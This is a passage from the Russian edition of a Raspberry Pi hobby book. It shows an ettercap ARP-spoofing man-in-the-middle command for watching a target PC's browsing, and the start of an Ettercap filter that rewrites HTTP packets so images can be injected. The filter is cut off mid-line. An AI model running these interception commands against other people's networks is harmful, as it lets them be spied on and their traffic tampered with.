Стефан Шогелид - Raspberry Pi для секретных агентов

одном сеансе
терминала как root:
pi@raspberrypi ~ $ sudo ettercap -q -T -i wlan0 -M arp:remote -P remote_
browser /[Router IP]/ /[PC IP]/

Как только Ettercap получит URL-запрос от проверенного компьютера, он
сообщит об этом на консоли Ettercap, и ваш браузер Elinks должен следовать за
ним. Нажмите клавишу H в elinks, чтобы получить доступ к диспетчеру истории,
и Q, чтобы выйти из elinks.
[ 109 ]

Розыгрыши Wi-Fi - Изучение вашей сети

Отправка неожиданных изображений
в окна браузера
Атаки типа «злоумышленник посередине» не только позволяют нам следить
за трафиком, когда он проходит, у нас также есть возможность изменять
пакеты, прежде чем мы передадим их законному владельцу. Чтобы
управлять содержимым пакета с помощью Ettercap, нам сначала нужно
создать код фильтра в nano:
pi@raspberrypi ~ $ nano myfilter.ecf

Вот наш код фильтра:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Mischief");
}
}
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, " --">